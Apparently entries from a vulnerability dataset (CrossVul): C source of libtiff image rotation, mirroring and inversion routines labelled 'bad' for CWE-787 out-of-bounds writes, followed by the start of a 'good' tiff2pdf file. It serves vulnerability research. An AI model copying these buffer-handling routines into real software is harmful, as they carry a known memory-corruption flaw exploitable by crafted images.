bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end rotateContigSamples16bits */ static int rotateContigSamples24bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint32 matchbits = 0, maskbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint32)-1 >> (32 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; else buff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end rotateContigSamples24bits */ static int rotateContigSamples32bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 row, rowsize, bit_offset; uint32 src_byte, src_bit; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint64)-1 >> (64 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; longbuff2 = longbuff1; } else { longbuff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end rotateContigSamples32bits */ /* Rotate an image by a multiple of 90 degrees clockwise */ static int rotateImage(uint16 rotation, struct image_data *image, uint32 *img_width, uint32 *img_length, unsigned char **ibuff_ptr) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, src_offset, dst_offset; uint32 i, col, width, length; uint32 colsize, buffsize, col_offset, pix_offset; unsigned char *ibuff; unsigned char *src; unsigned char *dst; uint16 spp, bps; float res_temp; unsigned char *rbuff = NULL; width = *img_width; length = *img_length; spp = image->spp; bps = image->bps; rowsize = ((bps * spp * width) + 7) / 8; colsize = ((bps * spp * length) + 7) / 8; if ((colsize * width) > (rowsize * length)) buffsize = (colsize + 1) * width; else buffsize = (rowsize + 1) * length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (rotation) { case 0: case 360: return (0); case 90: case 180: case 270: break; default: TIFFError("rotateImage", "Invalid rotation angle %d", rotation); return (-1); } if (!(rbuff = (unsigned char *)_TIFFmalloc(buffsize))) { TIFFError("rotateImage", "Unable to allocate rotation buffer of %1u bytes", buffsize); return (-1); } _TIFFmemset(rbuff, '\0', buffsize); ibuff = *ibuff_ptr; switch (rotation) { case 180: if ((bps % 8) == 0) /* byte alligned data */ { src = ibuff; pix_offset = (spp * bps) / 8; for (row = 0; row < length; row++) { dst_offset = (length - row - 1) * rowsize; for (col = 0; col < width; col++) { col_offset = (width - col - 1) * pix_offset; dst = rbuff + dst_offset + col_offset; for (i = 0; i < bytes_per_pixel; i++) *dst++ = *src++; } } } else { /* non 8 bit per sample data */ for (row = 0; row < length; row++) { src_offset = row * rowsize; dst_offset = (length - row - 1) * rowsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (reverseSamples8bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (reverseSamples16bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (reverseSamples24bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; break; case 90: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = ((length - 1) * rowsize) + (col * bytes_per_pixel); dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src -= rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = (length - 1) * rowsize; dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; case 270: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = col * bytes_per_pixel; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src += rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = 0; dst_offset = (width - col - 1) * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; *img_width = length; *img_length = width; image->width = length; image->length = width; res_temp = image->xres; image->xres = image->yres; image->yres = res_temp; break; default: break; } return (0); } /* end rotateImage */ static int reverseSamples8bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte, src_bit; uint32 bit_offset = 0; uint8 match_bits = 0, mask_bits = 0; uint8 buff1 = 0, buff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples8bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint8)-1 >> ( 8 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (8 - src_bit - bps); buff1 = ((*src) & match_bits) << (src_bit); if (ready_bits < 8) buff2 = (buff2 | (buff1 >> ready_bits)); else /* If we have a full buffer's worth, write it out */ { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end reverseSamples8bits */ static int reverseSamples16bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint16 match_bits = 0, mask_bits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSample16bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint16)-1 >> (16 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (16 - high_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 8) { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end reverseSamples16bits */ static int reverseSamples24bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0; uint32 col; uint32 src_byte = 0, high_bit = 0; uint32 bit_offset = 0; uint32 match_bits = 0, mask_bits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples24bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint32)-1 >> (32 - bps); dst = obuff; for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (32 - high_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & match_bits) << (high_bit); if (ready_bits < 16) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end reverseSamples24bits */ static int reverseSamples32bits (uint16 spp, uint16 bps, uint32 width, uint8 *ibuff, uint8 *obuff) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 bit_offset; uint32 src_byte = 0, high_bit = 0; uint32 col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 mask_bits = 0, match_bits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; unsigned char *src; unsigned char *dst; tsample_t sample; if ((ibuff == NULL) || (obuff == NULL)) { TIFFError("reverseSamples32bits","Invalid image or work buffer"); return (1); } ready_bits = 0; mask_bits = (uint64)-1 >> (64 - bps); dst = obuff; /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ for (col = width; col > 0; col--) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = (col - 1) * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; high_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; high_bit = (bit_offset + (sample * bps)) % 8; } src = ibuff + src_byte; match_bits = mask_bits << (64 - high_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & match_bits) << (high_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end reverseSamples32bits */ static int reverseSamplesBytes (uint16 spp, uint16 bps, uint32 width, uint8 *src, uint8 *dst) { int i; uint32 col, bytes_per_pixel, col_offset; uint8 bytebuff1; unsigned char swapbuff[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("reverseSamplesBytes","Invalid input or output buffer"); return (1); } bytes_per_pixel = ((bps * spp) + 7) / 8; switch (bps / 8) { case 8: /* Use memcpy for multiple bytes per sample data */ case 4: case 3: case 2: for (col = 0; col < (width / 2); col++) { col_offset = col * bytes_per_pixel; _TIFFmemcpy (swapbuff, src + col_offset, bytes_per_pixel); _TIFFmemcpy (src + col_offset, dst - col_offset - bytes_per_pixel, bytes_per_pixel); _TIFFmemcpy (dst - col_offset - bytes_per_pixel, swapbuff, bytes_per_pixel); } break; case 1: /* Use byte copy only for single byte per sample data */ for (col = 0; col < (width / 2); col++) { for (i = 0; i < spp; i++) { bytebuff1 = *src; *src++ = *(dst - spp + i); *(dst - spp + i) = bytebuff1; } dst -= spp; } break; default: TIFFError("reverseSamplesBytes","Unsupported bit depth %d", bps); return (1); } return (0); } /* end reverseSamplesBytes */ /* Mirror an image horizontally or vertically */ static int mirrorImage(uint16 spp, uint16 bps, uint16 mirror, uint32 width, uint32 length, unsigned char *ibuff) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, row_offset; unsigned char *line_buff = NULL; unsigned char *src; unsigned char *dst; src = ibuff; rowsize = ((width * bps * spp) + 7) / 8; switch (mirror) { case MIRROR_BOTH: case MIRROR_VERT: line_buff = (unsigned char *)_TIFFmalloc(rowsize); if (line_buff == NULL) { TIFFError ("mirrorImage", "Unable to allocate mirror line buffer of %1u bytes", rowsize); return (-1); } dst = ibuff + (rowsize * (length - 1)); for (row = 0; row < length / 2; row++) { _TIFFmemcpy(line_buff, src, rowsize); _TIFFmemcpy(src, dst, rowsize); _TIFFmemcpy(dst, line_buff, rowsize); src += (rowsize); dst -= (rowsize); } if (line_buff) _TIFFfree(line_buff); if (mirror == MIRROR_VERT) break; case MIRROR_HORIZ : if ((bps % 8) == 0) /* byte alligned data */ { for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; dst = ibuff + row_offset + rowsize; if (reverseSamplesBytes(spp, bps, width, src, dst)) { return (-1); } } } else { /* non 8 bit per sample data */ if (!(line_buff = (unsigned char *)_TIFFmalloc(rowsize + 1))) { TIFFError("mirrorImage", "Unable to allocate mirror line buffer"); return (-1); } bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; for (row = 0; row < length; row++) { row_offset = row * rowsize; src = ibuff + row_offset; _TIFFmemset (line_buff, '\0', rowsize); switch (shift_width) { case 1: if (reverseSamples16bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 2: if (reverseSamples24bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, line_buff)) { _TIFFfree(line_buff); return (-1); } _TIFFmemcpy (src, line_buff, rowsize); break; default: TIFFError("mirrorImage","Unsupported bit depth %d", bps); _TIFFfree(line_buff); return (-1); } } if (line_buff) _TIFFfree(line_buff); } break; default: TIFFError ("mirrorImage", "Invalid mirror axis %d", mirror); return (-1); break; } return (0); } /* Invert the light and dark values for a bilevel or grayscale image */ static int invertImage(uint16 photometric, uint16 spp, uint16 bps, uint32 width, uint32 length, unsigned char *work_buff) { uint32 row, col; unsigned char bytebuff1, bytebuff2, bytebuff3, bytebuff4; unsigned char *src; uint16 *src_uint16; uint32 *src_uint32; if (spp != 1) { TIFFError("invertImage", "Image inversion not supported for more than one sample per pixel"); return (-1); } if (photometric != PHOTOMETRIC_MINISWHITE && photometric != PHOTOMETRIC_MINISBLACK) { TIFFError("invertImage", "Only black and white and grayscale images can be inverted"); return (-1); } src = work_buff; if (src == NULL) { TIFFError ("invertImage", "Invalid crop buffer passed to invertImage"); return (-1); } switch (bps) { case 32: src_uint32 = (uint32 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint32 = (uint32)0xFFFFFFFF - *src_uint32; src_uint32++; } break; case 16: src_uint16 = (uint16 *)src; for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src_uint16 = (uint16)0xFFFF - *src_uint16; src_uint16++; } break; case 8: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { *src = (uint8)255 - *src; src++; } break; case 4: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 16 - (uint8)(*src & 240 >> 4); bytebuff2 = 16 - (*src & 15); *src = bytebuff1 << 4 & bytebuff2; src++; } break; case 2: for (row = 0; row < length; row++) for (col = 0; col < width; col++) { bytebuff1 = 4 - (uint8)(*src & 192 >> 6); bytebuff2 = 4 - (uint8)(*src & 48 >> 4); bytebuff3 = 4 - (uint8)(*src & 12 >> 2); bytebuff4 = 4 - (uint8)(*src & 3); *src = (bytebuff1 << 6) || (bytebuff2 << 4) || (bytebuff3 << 2) || bytebuff4; src++; } break; case 1: for (row = 0; row < length; row++) for (col = 0; col < width; col += 8 /(spp * bps)) { *src = ~(*src); src++; } break; default: TIFFError("invertImage", "Unsupported bit depth %d", bps); return (-1); } return (0); } /* vim: set ts=8 sts=8 sw=8 noet: */ /* * Local Variables: * mode: c * c-basic-offset: 8 * fill-column: 78 * End: */
./CrossVul/dataset_final_sorted/CWE-787/c/bad_5478_4
crossvul-cpp_data_good_5478_3
/* $Id$ * * tiff2pdf - converts a TIFF image to a PDF document * * Copyright (c) 2003 Ross Finlayson * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the name of * Ross Finlayson may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Ross Finlayson. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL ROSS FINLAYSON BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tif_config.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #include <errno.h> #include <limits.h> #if HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_FCNTL_H # include <fcntl.h> #endif #ifdef HAVE_IO_H # include <io.h> #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffiop.h" #include "tiffio.h" #ifndef HAVE_GETOPT extern int getopt(int, char**, char*); #endif #ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 #endif #ifndef EXIT_FAILURE # define EXIT_FAILURE 1 #endif #define TIFF2PDF_MODULE "tiff2pdf" #define PS_UNIT_SIZE 72.0F /* This type is of PDF color spaces. */ typedef enum { T2P_CS_BILEVEL = 0x01, /* Bilevel, black and white */ T2P_CS_GRAY = 0x02, /* Single channel */ T2P_CS_RGB = 0x04, /* Three channel tristimulus RGB */ T2P_CS_CMYK = 0x08, /* Four channel CMYK print inkset */ T2P_CS_LAB = 0x10, /* Three channel L*a*b* color space */ T2P_CS_PALETTE = 0x1000,/* One of the above with a color map */ T2P_CS_CALGRAY = 0x20, /* Calibrated single channel */ T2P_CS_CALRGB = 0x40, /* Calibrated three channel tristimulus RGB */ T2P_CS_ICCBASED = 0x80 /* ICC profile color specification */ } t2p_cs_t; /* This type is of PDF compression types. */ typedef enum{ T2P_COMPRESS_NONE=0x00 #ifdef CCITT_SUPPORT , T2P_COMPRESS_G4=0x01 #endif #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) , T2P_COMPRESS_JPEG=0x02 #endif #ifdef ZIP_SUPPORT , T2P_COMPRESS_ZIP=0x04 #endif } t2p_compress_t; /* This type is whether TIFF image data can be used in PDF without transcoding. */ typedef enum{ T2P_TRANSCODE_RAW=0x01, /* The raw data from the input can be used without recompressing */ T2P_TRANSCODE_ENCODE=0x02 /* The data from the input is perhaps unencoded and reencoded */ } t2p_transcode_t; /* This type is of information about the data samples of the input image. */ typedef enum{ T2P_SAMPLE_NOTHING=0x0000, /* The unencoded samples are normal for the output colorspace */ T2P_SAMPLE_ABGR_TO_RGB=0x0001, /* The unencoded samples are the result of ReadRGBAImage */ T2P_SAMPLE_RGBA_TO_RGB=0x0002, /* The unencoded samples are contiguous RGBA */ T2P_SAMPLE_RGBAA_TO_RGB=0x0004, /* The unencoded samples are RGBA with premultiplied alpha */ T2P_SAMPLE_YCBCR_TO_RGB=0x0008, T2P_SAMPLE_YCBCR_TO_LAB=0x0010, T2P_SAMPLE_REALIZE_PALETTE=0x0020, /* The unencoded samples are indexes into the color map */ T2P_SAMPLE_SIGNED_TO_UNSIGNED=0x0040, /* The unencoded samples are signed instead of unsignd */ T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED=0x0040, /* The L*a*b* samples have a* and b* signed */ T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG=0x0100 /* The unencoded samples are separate instead of contiguous */ } t2p_sample_t; /* This type is of error status of the T2P struct. */ typedef enum{ T2P_ERR_OK = 0, /* This is the value of t2p->t2p_error when there is no error */ T2P_ERR_ERROR = 1 /* This is the value of t2p->t2p_error when there was an error */ } t2p_err_t; /* This struct defines a logical page of a TIFF. */ typedef struct { tdir_t page_directory; uint32 page_number; ttile_t page_tilecount; uint32 page_extra; } T2P_PAGE; /* This struct defines a PDF rectangle's coordinates. */ typedef struct { float x1; float y1; float x2; float y2; float mat[9]; } T2P_BOX; /* This struct defines a tile of a PDF. */ typedef struct { T2P_BOX tile_box; } T2P_TILE; /* This struct defines information about the tiles on a PDF page. */ typedef struct { ttile_t tiles_tilecount; uint32 tiles_tilewidth; uint32 tiles_tilelength; uint32 tiles_tilecountx; uint32 tiles_tilecounty; uint32 tiles_edgetilewidth; uint32 tiles_edgetilelength; T2P_TILE* tiles_tiles; } T2P_TILES; /* This struct is the context of a function to generate PDF from a TIFF. */ typedef struct { t2p_err_t t2p_error; T2P_PAGE* tiff_pages; T2P_TILES* tiff_tiles; tdir_t tiff_pagecount; uint16 tiff_compression; uint16 tiff_photometric; uint16 tiff_fillorder; uint16 tiff_bitspersample; uint16 tiff_samplesperpixel; uint16 tiff_planar; uint32 tiff_width; uint32 tiff_length; float tiff_xres; float tiff_yres; uint16 tiff_orientation; toff_t tiff_dataoffset; tsize_t tiff_datasize; uint16 tiff_resunit; uint16 pdf_centimeters; uint16 pdf_overrideres; uint16 pdf_overridepagesize; float pdf_defaultxres; float pdf_defaultyres; float pdf_xres; float pdf_yres; float pdf_defaultpagewidth; float pdf_defaultpagelength; float pdf_pagewidth; float pdf_pagelength; float pdf_imagewidth; float pdf_imagelength; int pdf_image_fillpage; /* 0 (default: no scaling, 1:scale imagesize to pagesize */ T2P_BOX pdf_mediabox; T2P_BOX pdf_imagebox; uint16 pdf_majorversion; uint16 pdf_minorversion; uint32 pdf_catalog; uint32 pdf_pages; uint32 pdf_info; uint32 pdf_palettecs; uint16 pdf_fitwindow; uint32 pdf_startxref; #define TIFF2PDF_FILEID_SIZE 33 char pdf_fileid[TIFF2PDF_FILEID_SIZE]; #define TIFF2PDF_DATETIME_SIZE 17 char pdf_datetime[TIFF2PDF_DATETIME_SIZE]; #define TIFF2PDF_CREATOR_SIZE 512 char pdf_creator[TIFF2PDF_CREATOR_SIZE]; #define TIFF2PDF_AUTHOR_SIZE 512 char pdf_author[TIFF2PDF_AUTHOR_SIZE]; #define TIFF2PDF_TITLE_SIZE 512 char pdf_title[TIFF2PDF_TITLE_SIZE]; #define TIFF2PDF_SUBJECT_SIZE 512 char 